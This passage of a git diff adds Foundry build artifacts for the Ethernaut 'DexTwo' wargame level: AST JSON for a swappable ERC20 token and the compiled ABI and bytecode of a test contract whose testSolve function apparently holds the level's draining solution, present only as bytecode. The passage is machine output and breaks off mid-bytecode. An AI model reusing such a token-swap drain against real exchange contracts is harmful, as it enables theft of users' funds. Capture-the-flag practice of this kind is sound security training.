y":"public"},{"id":51280,"nodeType":"FunctionDefinition","src":"1916:178:69","nodes":[],"body":{"id":51279,"nodeType":"Block","src":"1988:106:69","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51267,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51265,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51257,"src":"2006:5:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":51266,"name":"_dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51229,"src":"2015:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2006:13:69","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e76616c6964417070726f766572","id":51268,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2021:17:69","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb338f77770f4bebf08768ff981451eae87c07fdb0e2d78a2d7eae754baa53ce","typeString":"literal_string \"InvalidApprover\""},"value":"InvalidApprover"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_eb338f77770f4bebf08768ff981451eae87c07fdb0e2d78a2d7eae754baa53ce","typeString":"literal_string \"InvalidApprover\""}],"id":51264,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1998:7:69","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1998:41:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51270,"nodeType":"ExpressionStatement","src":"1998:41:69"},{"expression":{"arguments":[{"id":51274,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51257,"src":"2064:5:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51275,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51259,"src":"2071:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51276,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51261,"src":"2080:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51271,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2049:5:69","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_SwappableTokenTwo_$51281_$","typeString":"type(contract super SwappableTokenTwo)"}},"id":51273,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2055:8:69","memberName":"_approve","nodeType":"MemberAccess","referencedDeclaration":47795,"src":"2049:14:69","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":51277,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2049:38:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51278,"nodeType":"ExpressionStatement","src":"2049:38:69"}]},"functionSelector":"e1f21c67","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"1925:7:69","parameters":{"id":51262,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51257,"mutability":"mutable","name":"owner","nameLocation":"1941:5:69","nodeType":"VariableDeclaration","scope":51280,"src":"1933:13:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51256,"name":"address","nodeType":"ElementaryTypeName","src":"1933:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51259,"mutability":"mutable","name":"spender","nameLocation":"1956:7:69","nodeType":"VariableDeclaration","scope":51280,"src":"1948:15:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51258,"name":"address","nodeType":"ElementaryTypeName","src":"1948:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51261,"mutability":"mutable","name":"amount","nameLocation":"1973:6:69","nodeType":"VariableDeclaration","scope":51280,"src":"1965:14:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51260,"name":"uint256","nodeType":"ElementaryTypeName","src":"1965:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1932:48:69"},"returnParameters":{"id":51263,"nodeType":"ParameterList","parameters":[],"src":"1988:0:69"},"scope":51281,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":51226,"name":"ERC20","nameLocations":["1664:5:69"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1664:5:69"},"id":51227,"nodeType":"InheritanceSpecifier","src":"1664:5:69"}],"canonicalName":"SwappableTokenTwo","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51281,47861,47964,47939,48281],"name":"SwappableTokenTwo","nameLocation":"1643:17:69","scope":51282,"usedErrors":[],"usedEvents":[47873,47882]}],"license":"MIT"},"id":69} \ No newline at end of file diff --git a/contracts/out/DexTwo.t.sol/TestDexTwo.json b/contracts/out/DexTwo.t.sol/TestDexTwo.json new file mode 100644 index 000000000..c34b2c7b5 --- /dev/null +++ b/contracts/out/DexTwo.t.sol/TestDexTwo.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b506180eb806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001c80565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001cc3565b620001b3620001fa36600462001daf565b62000a2b565b6200020a62000bf6565b604051620001c7919062001e82565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001f45565b620001da6200025736600462002012565b62000ef8565b6200019a62001088565b620002716200131a565b604051620001c791906200202a565b620001b36200029136600462002090565b620013ef565b620002376200150e565b620002b8620002b2366004620020ae565b62001608565b6040519015158152602001620001c7565b6200027162001798565b6200019a6200186d565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001906565b620001da620019da565b6200019a6200032f36600462002012565b62001a3a565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f81518110620003675762000367620020ea565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b5050505080600181518110620004495762000449620020ea565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620013ef565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001c22565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f91908101906200218b565b905080600182516200098291906200231b565b81518110620009955762000995620020ea565b60200260200101515f0151600281518110620009b557620009b5620020ea565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002331565b90505f81848560405160200162000acd92919062002383565b60408051601f198184030181529082905262000aed929160200162002431565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002463565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002331565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001aae90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002477565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002477565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001d11565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620024b1565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f620020ea565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f60215f9054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562001148573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200116e9190620024b1565b90505f60215f9054906101000a90046001600160a01b03166001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015620011c2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011e89190620024b1565b90505f604051620011f99062001c30565b604051809103905ff08015801562001213573d5f803e3d5ffd5b50602154604051630df791e560e41b81526001600160a01b03808416600483015286811660248301526001604483015292935091169063df791e50906064015f604051808303815f87803b1580156200126a575f80fd5b505af11580156200127d573d5f803e3d5ffd5b5050602154604051630df791e560e41b81526001600160a01b038581166004830152868116602483015260016044830152909116925063df791e5091506064015f604051808303815f87803b158015620012d5575f80fd5b505af1158015620012e8573d5f803e3d5ffd5b50506020546021546200131593506200130f92506001600160a01b03918216911662001608565b62001b50565b505050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200135d9062002477565b80601f01602080910402602001604051908101604052809291908181526020018280546200138b9062002477565b8015620013da5780601f10620013b057610100808354040283529160200191620013da565b820191905f5260205f20905b815481529060010190602001808311620013bc57829003601f168201915b5050505050815260200190600101906200133d565b5f80604051620013ff9062001c3e565b604051809103905ff08015801562001419573d5f803e3d5ffd5b5090505f6040516200142b9062001c4c565b604051809103905ff08015801562001445573d5f803e3d5ffd5b508483604051620014569062001c5a565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001490573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620014ef575f80fd5b505af115801562001502573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620015ef57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200159b5790505b5050505050815250508152602001906001019062001531565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001664575f80fd5b505af115801562001677573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620016d5575f80fd5b505af1158015620016e8573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200174c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200177591908101906200218b565b90506001815111156200178d57600191505062001792565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620017db9062002477565b80601f0160208091040260200160405190810160405280929190818152602001828054620018099062002477565b8015620018585780601f106200182e5761010080835404028352916020019162001858565b820191905f5260205f20905b8154815290600101906020018083116200183a57829003601f168201915b505050505081526020019060010190620017bb565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620018c4575f80fd5b505af1158015620018d7573d5f803e3d5ffd5b5050602054602154620019049350620018fe92506001600160a01b03918216911662001608565b62001bcf565b565b6008545f9060ff16156200191e575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620019ad573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620019d39190620024cf565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f62001a478243620024e7565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001b059086908690600401620024fd565b5f60405180830381865afa15801562001b20573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001b4991908101906200252e565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001bb5575f80fd5b505afa15801562001bc8573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001b9e565b612302806200256583390190565b610146806200486783390190565b610ae580620049ad83390190565b611e7a806200549283390190565b610daa806200730c83390190565b6001600160a01b038116811462001c7d575f80fd5b50565b5f805f6060848603121562001c93575f80fd5b833562001ca08162001c68565b9250602084013562001cb28162001c68565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001d055783516001600160a01b03168352928401929184019160010162001cde565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001d4b5762001d4b62001d11565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001d7d5762001d7d62001d11565b604052919050565b5f67ffffffffffffffff82111562001da15762001da162001d11565b50601f01601f191660200190565b5f6020828403121562001dc0575f80fd5b813567ffffffffffffffff81111562001dd7575f80fd5b8201601f8101841362001de8575f80fd5b803562001dff62001df98262001d85565b62001d51565b81815285602083850101111562001e14575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001e4d57818101518382015260200162001e33565b50505f910152565b5f815180845262001e6e81602086016020860162001e31565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001f3657603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001f1f57605f1988850301835262001f0c84865162001e55565b948d01949350918c019160010162001eed565b505050968901969350509087019060010162001ea7565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b838110156200200457888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001fee5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001faa565b5096890196945050509086019060010162001f6c565b509098975050505050505050565b5f6020828403121562002023575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200208357603f198886030184526200207085835162001e55565b9450928501929085019060010162002051565b5092979650505050505050565b5f60208284031215620020a1575f80fd5b813562001b498162001c68565b5f8060408385031215620020c0575f80fd5b8235620020cd8162001c68565b91506020830135620020df8162001c68565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200211a576200211a62001d11565b5060051b60200190565b5f6200213462001df98462001d85565b905082815283838301111562002148575f80fd5b62001b4983602083018462001e31565b5f82601f83011262002168575f80fd5b62001b498383516020850162002124565b8051620021868162001c68565b919050565b5f60208083850312156200219d575f80fd5b825167ffffffffffffffff80821115620021b5575f80fd5b818501915085601f830112620021c9575f80fd5b8151620021da62001df982620020fe565b81815260059190911b83018401908481019088831115620021f9575f80fd5b8585015b83811015620022fa5780518581111562002215575f80fd5b86016060818c03601f190112156200222b575f80fd5b6200223562001d25565b888201518781111562002246575f80fd5b8201603f81018d1362002257575f80fd5b898101516200226a62001df982620020fe565b81815260059190911b8201604001908b8101908f8311156200228a575f80fd5b6040840193505b82841015620022ac5783518252928c0192908c019062002291565b8452505050604082015187811115620022c3575f80fd5b620022d38d8b8386010162002158565b8a83015250620022e66060830162002179565b6040820152845250918601918601620021fd565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562001792576200179262002307565b5f6020828403121562002342575f80fd5b815167ffffffffffffffff81111562002359575f80fd5b8201601f810184136200236a575f80fd5b6200237b8482516020840162002124565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525